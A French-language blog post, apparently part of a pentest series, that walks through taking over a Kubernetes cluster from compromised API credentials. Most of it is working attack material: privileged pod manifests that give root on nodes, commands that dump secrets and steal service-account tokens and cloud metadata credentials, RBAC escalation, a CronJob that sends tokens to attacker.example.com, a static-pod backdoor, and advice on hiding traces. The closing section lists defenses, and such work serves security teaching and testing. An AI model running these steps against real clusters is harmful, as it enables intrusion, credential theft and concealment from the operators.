De l'exposition réseau au cluster-admin - Pentest d'un cluster Kubernetes 3/3

L'article précédent couvrait la reconnaissance depuis un pod compromis et les techniques d'évasion vers le nœud. À ce stade, l'attaquant dispose de credentials avec un accès API : un kubeconfig admin récupéré sur le master, un token de Service Account système trouvé sur le nœud, ou un accès direct au datastore.

Cet article couvre l'exploitation de cet accès API : cartographier ses droits et ceux des autres, explorer les ressources accessibles (secrets, configmaps, pods), déployer des pods malveillants pour s'élever en privilèges, et persister dans le cluster. La différence avec l'article précédent est le point de vue : on n'est plus enfermé dans un conteneur, on attaque le cluster via son API.

Reconnaissance des droits et du périmètre

Avant toute action, l'attaquant doit comprendre l'étendue de ses droits. Un token peut donner un accès cluster-admin complet ou être limité à un seul namespace avec des permissions minimales.

Identifier son périmètre : namespaces accessibles

La première question est : est-on limité à un namespace ou a-t-on une vue cluster-wide ?

$ kubectl get namespaces

NAME              STATUS   AGE
cilium-secrets    Active   6d22h
default           Active   6d22h
ingress-nginx     Active   5d20h
kube-node-lease   Active   6d22h
kube-public       Active   6d22h
kube-system       Active   6d22h
monitoring        Active   5d21h

Si la commande fonctionne, on a une visibilité sur l'ensemble des namespaces du cluster. Si elle échoue (Forbidden), on est probablement limité à un seul namespace, celui indiqué dans le token JWT ou le kubeconfig. Dans ce cas, on teste manuellement les namespaces courants :

# Tester des namespaces courants si "get namespaces" est interdit
$ for ns in default kube-system kube-public monitoring ingress-nginx production staging; do
    kubectl auth can-i list pods -n \(ns 2>/dev/null && echo "→ accès à \)ns"
done

kubectl auth can-i : auditer ses propres droits

kubectl auth can-i --list affiche toutes les permissions du token courant dans un namespace donné. L'article précédent l'utilisait pour un premier diagnostic rapide. Ici on va plus loin : on itère sur chaque namespace pour identifier les différences de droits.

# Droits dans chaque namespace
\( for ns in \)(kubectl get ns --no-headers -o custom-columns=":metadata.name"); do
    echo "=== $ns ==="
    kubectl auth can-i --list -n \(ns 2>/dev/null | grep -v "selfsubject\|^\)\|Resources\|well-known\|openid\|openapi\|version\|healthz\|livez\|readyz\|/api"
    echo
done

Le résultat révèle si les droits varient selon le namespace. Par exemple, un SA peut avoir get secrets dans default mais pas dans kube-system. On cherche spécifiquement les verbes dangereux :

Verbe	Ressource	Impact
`get/list`	`secrets`	Lire les credentials de tout le namespace
`create`	`pods`	Déployer un pod malveillant (voir Bad Pods)
`create`	`pods/exec`	Exec dans un pod existant → voler son token
`create/patch`	`rolebindings`	S'attribuer un rôle plus puissant
`escalate`	`roles/clusterroles`	Créer un rôle avec plus de droits que les siens
`impersonate`	`users/serviceaccounts`	Agir en tant qu'un autre compte
`*`	`.`	Accès total (cluster-admin)

Les vérifications ciblées permettent de confirmer rapidement :

# Vérifications ciblées
$ kubectl auth can-i get secrets -n default
yes

$ kubectl auth can-i create pods -n kube-system
no

$ kubectl auth can-i list secrets --all-namespaces
yes

Un verbe souvent sous-estimé : list. Sur les secrets, list retourne le contenu complet de tous les secrets du namespace, même sans le verbe get. C'est le cas du SA ingress-nginx sur notre cluster, qui a list watch sur les secrets dans tous les namespaces.

kubectl-who-can : cartographier les droits des autres

kubectl auth can-i répond à "qu'est-ce que JE peux faire ?". La question inverse est tout aussi importante : "QUI peut faire X ?". C'est ce que fait kubectl-who-can d'Aqua Security.

# Installation
$ wget -q https://github.com/aquasecurity/kubectl-who-can/releases/latest/download/kubectl-who-can_linux_x86_64.tar.gz
$ tar xzf kubectl-who-can_linux_x86_64.tar.gz
$ mv kubectl-who-can /usr/local/bin/

Les requêtes clés pour un attaquant :

# Qui peut lire les secrets ? → cibles prioritaires
$ kubectl who-can get secrets --all-namespaces
CLUSTERROLEBINDING                          SUBJECT                            TYPE
cluster-admin                               system:masters                     Group
system:controller:clusterrole-aggregation   clusterrole-aggregation-controller ServiceAccount

# Qui peut créer des pods ? → pivoter vers Bad Pods
$ kubectl who-can create pods -n default

# Qui peut exec dans des pods ? → voler des tokens
$ kubectl who-can create pods/exec -n kube-system

# Qui peut modifier les RBAC ? → escalade de privilèges
$ kubectl who-can create rolebindings --all-namespaces

Le résultat donne une cartographie des SA à forte valeur. Si on compromet l'un d'entre eux (via un token trouvé sur un nœud, dans un secret, ou en exec dans leur pod), on hérite de leurs droits.

Synthèse : choisir son vecteur

Selon les droits identifiés :

get/list secrets ou configmaps → lire les ressources accessibles (section suivante)
create pods → déployer un pod malveillant pour accéder au nœud (section Bad Pods)
create rolebindings → s'attribuer un rôle plus puissant (section Escalade RBAC)
create pods/exec → exec dans des pods existants pour voler leurs tokens (section Mouvement latéral)
droits minimaux → chercher les combos : create pods sans get secrets permet quand même de monter un secret dans un pod qu'on contrôle

Revue des ressources accessibles

Secrets

Les Secrets Kubernetes sont encodés en base64, pas chiffrés. Avec le verbe get ou list, on les lit en clair :

$ kubectl get secrets --all-namespaces
NAMESPACE       NAME                              TYPE                          DATA   AGE
ingress-nginx   ingress-nginx-admission           Opaque                        3      5d20h
kube-system     cilium-ca                         Opaque                        2      6d22h
kube-system     hubble-relay-client-certs         kubernetes.io/tls             3      6d22h
kube-system     hubble-server-certs               kubernetes.io/tls             3      6d22h
kube-system     k3s-master.node-password.k3s      k3s.cattle.io/node-password   1      6d22h
kube-system     k3s-serving                       kubernetes.io/tls             2      6d22h
kube-system     k3s-worker-01.node-password.k3s   k3s.cattle.io/node-password   1      6d22h
kube-system     k3s-worker-02.node-password.k3s   k3s.cattle.io/node-password   1      6d22h
kube-system     sh.helm.release.v1.cilium.v1      helm.sh/release.v1            1      6d22h

# Lire un secret spécifique et décoder la valeur
$ kubectl get secret cilium-ca -n kube-system -o jsonpath='{.data.ca\.crt}' | base64 -d
-----BEGIN CERTIFICATE-----
MIIBdTCCARugAwIBAgIQ...
-----END CERTIFICATE-----

# Extraire tous les secrets d'un namespace en une commande
$ kubectl get secrets -n kube-system -o json | \
    jq '.items[] | {name: .metadata.name, data: (.data // {} | map_values(@base64d))}'

Les types à surveiller :

Opaque : credentials applicatifs (mots de passe BDD, clés API, tokens)
kubernetes.io/tls : certificats TLS (CA, clés privées). Permettent du MITM ou de l'impersonation
kubernetes.io/service-account-token : tokens SA legacy (pré-1.24), non expirants
helm.sh/release.v1 : releases Helm, contiennent les valeurs du chart en clair, souvent avec des mots de passe
k3s.cattle.io/node-password : spécifique K3s, mots de passe des nœuds

ConfigMaps

Les ConfigMaps ne sont pas chiffrés non plus, et contiennent souvent des données sensibles mal placées : URLs de connexion avec credentials, fichiers de configuration, clés d'API.

$ kubectl get configmaps --all-namespaces
NAMESPACE         NAME                                                   DATA   AGE
kube-system       cilium-config                                          152    6d22h
kube-system       coredns                                                2      6d22h
kube-system       hubble-relay-config                                    1      6d22h
kube-system       local-path-config                                      4      6d22h
ingress-nginx     ingress-nginx-controller                               0      5d20h
...

Le ConfigMap coredns est particulièrement intéressant : il révèle la configuration DNS du cluster et la correspondance nœuds/IPs :

$ kubectl get configmap coredns -n kube-system -o yaml
data:
  Corefile: |
    .:53 {
        kubernetes cluster.local in-addr.arpa ip6.arpa { pods insecure }
        hosts /etc/coredns/NodeHosts { ttl 60 }
        prometheus :9153
        forward . /etc/resolv.conf
    }
  NodeHosts: |
    10.25.11.200 k3s-master
    10.25.11.201 k3s-worker-01
    10.25.11.202 k3s-worker-02

Le ConfigMap cilium-config (152 entrées) expose toute la configuration réseau du cluster : CIDR des pods (10.0.0.0/8), taille des masques (/24), mode de routage, etc.

Cartographie du cluster

Avec un accès en lecture, on peut dresser une carte complète du cluster :

# Pods en cours d'exécution et leur répartition sur les nœuds
$ kubectl get pods -A -o wide
NAMESPACE       NAME                                        READY   STATUS    NODE
default         victim-pod                                  1/1     Running   k3s-worker-01
ingress-nginx   ingress-nginx-controller-5d4f7b984b-zgvxw   1/1     Running   k3s-worker-02
kube-system     cilium-wqqnp                                1/1     Running   k3s-worker-01
kube-system     local-path-provisioner-546dfc6456-fbk7k     1/1     Running   k3s-worker-01
kube-system     metrics-server-c8774f4f4-vp4mr              1/1     Running   k3s-worker-02
monitoring      nginx-66686b6766-pdqvz                      1/1     Running   k3s-worker-02
...

# Nœuds avec versions et IPs
$ kubectl get nodes -o wide
NAME            STATUS   ROLES           VERSION        INTERNAL-IP    OS-IMAGE                         CONTAINER-RUNTIME
k3s-master      Ready    control-plane   v1.34.4+k3s1   10.25.11.200   Debian GNU/Linux 12 (bookworm)   containerd://2.1.5-k3s1
k3s-worker-01   Ready    <none>          v1.34.4+k3s1   10.25.11.201   Debian GNU/Linux 12 (bookworm)   containerd://2.1.5-k3s1
k3s-worker-02   Ready    <none>          v1.34.4+k3s1   10.25.11.202   Debian GNU/Linux 12 (bookworm)   containerd://2.1.5-k3s1

# Service Accounts existants
$ kubectl get serviceaccounts -A --no-headers | grep -v default
ingress-nginx     ingress-nginx                     0   5d20h
ingress-nginx     ingress-nginx-admission           0   5d20h
kube-system       cilium                            0   6d22h
kube-system       cilium-envoy                      0   6d22h
kube-system       cilium-operator                   0   6d22h
kube-system       coredns                           0   6d22h
kube-system       hubble-relay                      0   6d22h
kube-system       hubble-ui                         0   6d22h
kube-system       local-path-provisioner-service-account   0   6d22h
kube-system       metrics-server                    0   6d22h
...

Cette cartographie (pods, nœuds, SA) croisée avec les résultats de who-can donne une vue d'ensemble : on sait quels SA ont des droits intéressants, sur quels nœuds tournent leurs pods, et donc quels nœuds cibler pour récupérer leurs tokens.

Déploiement de pods malveillants

Si le token compromis permet de créer des pods (directement ou via un Deployment, DaemonSet, CronJob), l'attaquant peut déployer un pod avec des attributs dangereux pour accéder au nœud sous-jacent. C'est le même principe que les misconfigurations vues dans l'article précédent, mais cette fois l'attaquant crée le pod lui-même.

La taxonomie Bad Pod

Bishop Fox a classifié 8 niveaux de pods malveillants selon les attributs de sécurité exploités :

#	Attributs	Impact
1	privileged + hostPID + hostNetwork + hostPath	Contrôle total du nœud
2	privileged + hostPID	Contrôle total via nsenter
3	privileged	Montage du disque du nœud
4	hostPath (/)	Lecture/écriture du système de fichiers hôte
5	hostPID	Visibilité des processus hôte
6	hostNetwork	Accès au réseau du nœud
7	hostIPC	Mémoire partagée entre processus
8	Rien	Limité au réseau interne et metadata cloud

On commence toujours par le plus permissif et on descend si Pod Security Admission bloque.

Everything allowed

Le pod "tout permis" donne un accès root complet au nœud :

apiVersion: v1
kind: Pod
metadata:
  name: everything-allowed
  namespace: default
spec:
  hostNetwork: true
  hostPID: true
  hostIPC: true
  containers:
  - name: pwn
    image: alpine
    command: ["sleep", "infinity"]
    securityContext:
      privileged: true
    volumeMounts:
    - name: host-root
      mountPath: /host
  volumes:
  - name: host-root
    hostPath:
      path: /
      type: Directory

$ kubectl apply -f everything-allowed.yaml
pod/everything-allowed created

$ kubectl exec -it everything-allowed -- chroot /host bash
root@k3s-worker-01:/# id
uid=0(root) gid=0(root)

# On est root sur le nœud, accès au kubelet, aux tokens SA, à tout
root@k3s-worker-01:/# find /var/lib/kubelet/pods/ -name token -path "*/kube-api-access-*" 2>/dev/null
/var/lib/kubelet/pods/6718e893-.../volumes/kubernetes.io~projected/kube-api-access-rnvqj/token
/var/lib/kubelet/pods/a3b2c1d4-.../volumes/kubernetes.io~projected/kube-api-access-x7k2m/token
...

hostPath only

Le plus réaliste en pratique. Pod Security Admission peut bloquer privileged: true mais laisser passer hostPath si la politique est mal configurée :

apiVersion: v1
kind: Pod
metadata:
  name: hostpath-pod
spec:
  containers:
  - name: reader
    image: alpine
    command: ["sleep", "infinity"]
    volumeMounts:
    - name: host-root
      mountPath: /host
  volumes:
  - name: host-root
    hostPath:
      path: /
      type: Directory

$ kubectl exec -it hostpath-pod -- sh
# Lire les tokens SA des pods du nœud
/ # cat /host/var/lib/kubelet/pods/6718e893-.../kube-api-access-rnvqj/token

# Lire le kubeconfig si on est sur le master
/ # cat /host/etc/rancher/k3s/k3s.yaml

# Lire les credentials système
/ # cat /host/etc/shadow

hostNetwork only

Utile quand hostPath est bloqué. Donne accès au réseau du nœud au lieu du réseau des pods :

apiVersion: v1
kind: Pod
metadata:
  name: hostnet-pod
spec:
  hostNetwork: true
  containers:
  - name: net
    image: alpine
    command: ["sleep", "infinity"]

Depuis ce pod, on est sur le réseau du nœud. Ça ouvre plusieurs vecteurs.

Services locaux du nœud

Des services écoutent sur 127.0.0.1 et ne sont normalement pas accessibles depuis les pods :

# Kubelet API (peut exposer les pods du nœud)
$ curl -sk https://127.0.0.1:10250/pods | jq '.items[].metadata.name'

# kube-proxy metrics
$ curl -s http://127.0.0.1:10249/metrics | head

# Metrics server, cAdvisor, etc.
$ curl -s http://127.0.0.1:10255/pods

Le kubelet sur 127.0.0.1:10250 est particulièrement intéressant : s'il accepte les requêtes anonymes, on peut exec dans n'importe quel pod du nœud sans passer par l'API server.

SSRF vers le metadata endpoint cloud

Sur les cloud providers (AWS, GCP, Azure), chaque nœud a accès au service de métadonnées de l'instance via 169.254.169.254. Depuis un pod normal (réseau des pods), cette IP est souvent bloquée. Avec hostNetwork: true, on contourne ce filtrage :

# AWS : récupérer les credentials IAM du nœud
$ curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/
node-role-eks
$ curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/node-role-eks
{
  "AccessKeyId": "ASIA...",
  "SecretAccessKey": "...",
  "Token": "...",
  "Expiration": "2026-03-05T18:00:00Z"
}

# GCP : récupérer le token OAuth du nœud
$ curl -s -H "Metadata-Flavor: Google" \
    http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token

# Azure : récupérer le token d'identité managée
$ curl -s -H "Metadata: true" \
    "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"

Ces credentials cloud permettent de pivoter hors du cluster : accéder aux buckets S3, aux bases de données cloud, aux autres services de l'infrastructure. C'est souvent le chemin le plus court vers une compromission complète de l'environnement cloud.

Pivot réseau

Avec hostNetwork, le pod partage l'interface réseau du nœud. On peut scanner le réseau de management des nœuds (ici 10.25.11.0/24) et atteindre des services qui ne sont pas exposés au réseau des pods : bases de données en dehors du cluster, serveurs de CI/CD, NFS, etc.

# Scanner le réseau des nœuds
\( for i in \)(seq 1 254); do
    timeout 1 bash -c "echo > /dev/tcp/10.25.11.\(i/22" 2>/dev/null && echo "10.25.11.\)i:22 open"
done
10.25.11.200:22 open
10.25.11.201:22 open
10.25.11.202:22 open

Cibler un nœud spécifique avec nodeName

Par défaut, le scheduler choisit le nœud. Mais l'attaquant peut forcer le placement sur un nœud précis avec nodeName :

apiVersion: v1
kind: Pod
metadata:
  name: target-worker02
spec:
  nodeName: k3s-worker-02    # forcer le placement sur ce nœud
  containers:
  - name: pwn
    image: alpine
    command: ["sleep", "infinity"]
    volumeMounts:
    - name: host-root
      mountPath: /host
  volumes:
  - name: host-root
    hostPath:
      path: /
      type: Directory

L'intérêt est de cibler un nœud spécifique pour récupérer les tokens SA des pods qui tournent dessus. Par exemple, la cartographie montre que ingress-nginx-controller tourne sur k3s-worker-02 et que son SA a list watch sur les secrets de tout le cluster. En déployant un pod hostPath sur k3s-worker-02, on accède au token de l'ingress controller dans /var/lib/kubelet/pods/ et on hérite de ses droits.

Pour cibler le master (k3s-master), on récupère en plus le kubeconfig admin et l'accès au datastore kine/etcd.

Quand Pod Security Admission bloque

Les clusters modernes utilisent Pod Security Admission (PSA) pour restreindre les pods :

$ kubectl apply -f everything-allowed.yaml
Error from server (Forbidden): pods "everything-allowed" is forbidden:
  violates PodSecurity "restricted:latest"

Stratégies de contournement :

Tester d'autres namespaces : les labels PSA sont par namespace, certains peuvent être plus permissifs
Descendre dans la taxonomie : si privileged est bloqué, tester hostPath, puis hostNetwork, etc.
Vérifier si on peut modifier les labels du namespace : kubectl auth can-i patch namespaces, si oui on peut changer le niveau PSA

Escalade de privilèges RBAC

Si les droits actuels ne permettent pas de créer des pods privilégiés ou de lire les secrets, on peut tenter d'escalader via les mécanismes RBAC eux-mêmes.

nodes/proxy : un GET qui donne un RCE

Le verbe get sur la ressource nodes/proxy semble inoffensif, mais il donne un accès direct au Kubelet de chaque nœud. Le Kubelet expose un endpoint /exec qui utilise WebSocket : la requête initiale est un GET, et le Kubelet valide cette requête au lieu de vérifier les permissions create normalement requises pour l'exécution de commandes.

# Vérifier si on a ce droit
$ kubectl auth can-i get nodes/proxy
yes

# Lister les pods du nœud via le Kubelet
$ kubectl get --raw "/api/v1/nodes/k3s-worker-01/proxy/pods" | jq '.items[].metadata.name'
"victim-pod"
"cilium-wqqnp"
"local-path-provisioner-546dfc6456-fbk7k"

# Exec dans un pod via le Kubelet (bypass de l'API server)
$ websocat --insecure \
    --header "Authorization: Bearer $TOKEN" \
    --protocol v4.channel.k8s.io \
    "wss://10.25.11.201:10250/exec/default/victim-pod/victim-pod?command=id"
uid=0(root) gid=0(root)

L'intérêt est double : on peut exec dans n'importe quel pod du nœud sans avoir create pods/exec, et ces requêtes passent par le Kubelet plutôt que par l'API server, ce qui peut échapper aux audit logs. Documenté par Graham Helton.

Modifier les RoleBindings

Avec le verbe create ou patch sur les RoleBindings, on peut s'attribuer un rôle existant :

# Vérifier le droit
$ kubectl auth can-i create rolebindings -n default
yes

# Se lier au ClusterRole "admin" dans le namespace default
$ kubectl create rolebinding self-admin \
    --clusterrole=admin \
    --serviceaccount=default:compromised-sa \
    -n default
rolebinding.rbac.authorization.k8s.io/self-admin created

# Vérifier les nouveaux droits
$ kubectl auth can-i get secrets -n default
yes

Les ClusterRoles admin, edit et cluster-admin existent par défaut dans tout cluster Kubernetes. Si on peut créer un ClusterRoleBinding (portée cluster-wide), on obtient un accès total.

Impersonation

Le verbe impersonate permet d'agir en tant qu'un autre utilisateur ou SA :

# Agir en tant que le SA cilium
$ kubectl get pods --all-namespaces \
    --as=system:serviceaccount:kube-system:cilium

# Agir en tant qu'un groupe admin
$ kubectl get secrets -A --as=admin --as-group=system:masters

L'impersonation ne modifie rien : on emprunte temporairement l'identité d'un autre compte. C'est transparent dans les audit logs (l'impersonation y est tracée).

Combo : create pods sans get secrets

Un pattern classique : le SA ne peut pas lire les secrets directement, mais peut créer des pods. On crée alors un pod qui monte le secret cible :

apiVersion: v1
kind: Pod
metadata:
  name: secret-reader
spec:
  containers:
  - name: reader
    image: alpine
    command: ["sleep", "infinity"]
    env:
    - name: DB_PASSWORD
      valueFrom:
        secretKeyRef:
          name: app-secret
          key: password
    volumeMounts:
    - name: secret-vol
      mountPath: /secrets
  volumes:
  - name: secret-vol
    secret:
      secretName: app-secret

$ kubectl apply -f secret-reader.yaml
$ kubectl exec secret-reader -- env | grep DB_PASSWORD
DB_PASSWORD=s3cr3t

$ kubectl exec secret-reader -- cat /secrets/password
s3cr3t

Le secret est lisible sans jamais avoir eu get secrets.

Mouvement latéral entre namespaces

Exec dans des pods existants

Avec create pods/exec, on peut entrer dans un pod existant et voler son token SA :

# Lister les pods dans kube-system
$ kubectl get pods -n kube-system
NAME                                        READY   STATUS    RESTARTS   AGE
cilium-wqqnp                                1/1     Running   0          6d22h
local-path-provisioner-546dfc6456-fbk7k     1/1     Running   0          6d22h
coredns-695cbbfcb9-h559v                    1/1     Running   0          6d22h
...

# Voler le token du pod cilium
$ kubectl exec cilium-wqqnp -n kube-system -- \
    cat /var/run/secrets/kubernetes.io/serviceaccount/token
eyJhbGciOiJSUzI1NiIs...

# Tester les droits du token volé
\( STOLEN_TOKEN=\)(kubectl exec cilium-wqqnp -n kube-system -- \
    cat /var/run/secrets/kubernetes.io/serviceaccount/token)
\( kubectl auth can-i --list --token="\)STOLEN_TOKEN" \
    --server=https://10.25.11.200:6443

Déployer dans un autre namespace

Si le SA a create pods dans un namespace système :

apiVersion: v1
kind: Pod
metadata:
  name: lateral-pod
  namespace: kube-system
spec:
  automountServiceAccountToken: true
  containers:
  - name: pwn
    image: alpine
    command: ["sleep", "infinity"]

Le pod hérite du SA default de kube-system, qui peut avoir plus de droits que celui de default. Et en ciblant un namespace spécifique, on accède aux secrets et configmaps de ce namespace depuis l'intérieur du pod.

Persistance

Une fois les privilèges obtenus, l'attaquant veut maintenir son accès même si le vecteur initial est corrigé.

CronJob

Un CronJob avec un nom anodin s'exécute périodiquement et peut exfiltrer des tokens ou maintenir un accès :

apiVersion: batch/v1
kind: CronJob
metadata:
  name: metrics-collector
  namespace: default
spec:
  schedule: "*/30 * * * *"
  successfulJobsHistoryLimit: 0
  failedJobsHistoryLimit: 0
  jobTemplate:
    spec:
      template:
        spec:
          containers:
          - name: collector
            image: alpine
            command:
            - /bin/sh
            - -c
            - |
              TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
              wget -q -O- --post-data="t=$TOKEN" http://attacker.example.com/c
          restartPolicy: Never

successfulJobsHistoryLimit: 0 et failedJobsHistoryLimit: 0 suppriment automatiquement les pods terminés, réduisant les traces.

Static pods

Si l'attaquant a un accès au système de fichiers du nœud (via hostPath ou accès direct), il peut créer un static pod. Le kubelet surveille un répertoire de manifestes et crée automatiquement les pods qui y apparaissent :

# K3s : /var/lib/rancher/k3s/agent/pod-manifests/
# kubeadm : /etc/kubernetes/manifests/

$ cat > /host/var/lib/rancher/k3s/agent/pod-manifests/debug-agent.yaml <<'EOF'
apiVersion: v1
kind: Pod
metadata:
  name: debug-agent
  namespace: kube-system
spec:
  hostNetwork: true
  containers:
  - name: agent
    image: alpine
    command: ["sleep", "infinity"]
    securityContext:
      privileged: true
    volumeMounts:
    - name: root
      mountPath: /host
  volumes:
  - name: root
    hostPath:
      path: /
EOF

Ce pod est recréé automatiquement par le kubelet s'il est supprimé via kubectl delete. Le seul moyen de le supprimer est de retirer le fichier manifeste du nœud. C'est une persistance très durable car elle ne passe pas par l'API server.

Mutating Admission Webhook

Le mécanisme le plus discret : un webhook qui intercepte chaque création de pod et y injecte un sidecar ou un montage de secret. Nécessite create mutatingwebhookconfigurations, ce qui est rare hors cluster-admin. Documenté dans la Threat Matrix for Kubernetes de Microsoft.

Évasion et discrétion

Noms anodins

Les noms des pods malveillants doivent se fondre dans les workloads existants :

# Mauvais : attacker-pod, pwn-shell, reverse-shell
# Bon : metrics-collector, log-rotator, health-checker, cilium-monitor

Réduire les traces

# Supprimer les events (expirent après 1h par défaut, mais visibles entre-temps)
$ kubectl delete events --all -n default

# Supprimer un pod après usage
$ kubectl delete pod everything-allowed --force --grace-period=0

Chaque appel kubectl exec génère un événement dans les audit logs. Pour limiter les traces, préférer un montage hostPath et travailler directement depuis le pod plutôt que de multiplier les exec.

TL;DR : avec un accès API, l'attaquant commence par cartographier ses droits (auth can-i) et ceux des autres (who-can) pour identifier ses vecteurs. Selon les permissions : lecture directe des secrets et configmaps, déploiement de pods malveillants (Bad Pods) ciblant des nœuds spécifiques pour récupérer des tokens SA, SSRF vers les metadata cloud via hostNetwork, escalade RBAC via les RoleBindings ou l'impersonation, mouvement latéral entre namespaces. La persistance passe par des CronJobs, des static pods, ou des admission webhooks.

Conclusion de la série

Cette série a couvert le parcours complet d'un attaquant face à un cluster Kubernetes : la compréhension de l'architecture et des objets (partie 1), le fonctionnement réseau et le cloisonnement (partie 2), la reconnaissance externe et l'accès initial (partie 3), la progression depuis un pod compromis jusqu'à l'évasion vers le nœud (partie 4), et l'exploitation de l'accès API jusqu'à la prise de contrôle du cluster (partie 5).

Le constat est clair : un cluster Kubernetes déployé avec ses valeurs par défaut offre une surface d'attaque considérable. Les Service Accounts montés automatiquement, l'absence de NetworkPolicies, les RBAC trop permissifs, et les pods sans restrictions de sécurité forment une chaîne d'exploitation qui mène régulièrement du premier shell dans un pod au cluster-admin complet.

Pour les défenseurs, les leviers existent : Pod Security Admission pour restreindre les attributs des pods, NetworkPolicies pour segmenter le réseau, RBAC least-privilege pour limiter les droits des Service Accounts, chiffrement at-rest pour protéger etcd, audit logging pour détecter les comportements suspects, et des outils comme kube-bench, kubeaudit, ou Falco pour auditer et surveiller en continu. La sécurité d'un cluster Kubernetes n'est pas un état, c'est un processus.

De l'exposition réseau au cluster-admin - Pentest d'un cluster Kubernetes 3/3

Reconnaissance des droits et du périmètre

Identifier son périmètre : namespaces accessibles

kubectl auth can-i : auditer ses propres droits

kubectl-who-can : cartographier les droits des autres

Synthèse : choisir son vecteur

Revue des ressources accessibles

Secrets

ConfigMaps

Cartographie du cluster

Déploiement de pods malveillants

La taxonomie Bad Pod

Everything allowed

hostPath only

hostNetwork only

Cibler un nœud spécifique avec nodeName

Quand Pod Security Admission bloque

Escalade de privilèges RBAC

nodes/proxy : un GET qui donne un RCE

Modifier les RoleBindings

Impersonation

Combo : create pods sans get secrets

Mouvement latéral entre namespaces

Exec dans des pods existants

Déployer dans un autre namespace

Persistance

CronJob

Static pods

Mutating Admission Webhook

Évasion et discrétion

Noms anodins

Réduire les traces

Conclusion de la série

Comments

More from this blog

Comment l'IA redéfinit la QA avec Speckit

De l'exposition réseau au cluster-admin - Pentest d'un cluster Kubernetes 2/3

La gestion des logs applicatifs avec l'écosystème OpenTelemetry

De l'exposition réseau au cluster-admin - Pentest d'un cluster Kubernetes 1/3

Command Palette

Reconnaissance des droits et du périmètre

Identifier son périmètre : namespaces accessibles

kubectl auth can-i : auditer ses propres droits

kubectl-who-can : cartographier les droits des autres

Synthèse : choisir son vecteur

Revue des ressources accessibles

Secrets

ConfigMaps

Cartographie du cluster

Déploiement de pods malveillants

La taxonomie Bad Pod

Everything allowed

hostPath only

hostNetwork only

Cibler un nœud spécifique avec nodeName

Quand Pod Security Admission bloque

Escalade de privilèges RBAC

nodes/proxy : un GET qui donne un RCE

Modifier les RoleBindings

Impersonation

Combo : create pods sans get secrets

Mouvement latéral entre namespaces

Exec dans des pods existants

Déployer dans un autre namespace

Persistance

CronJob

Static pods

Mutating Admission Webhook

Évasion et discrétion

Noms anodins

Réduire les traces

Conclusion de la série

Comments

More from this blog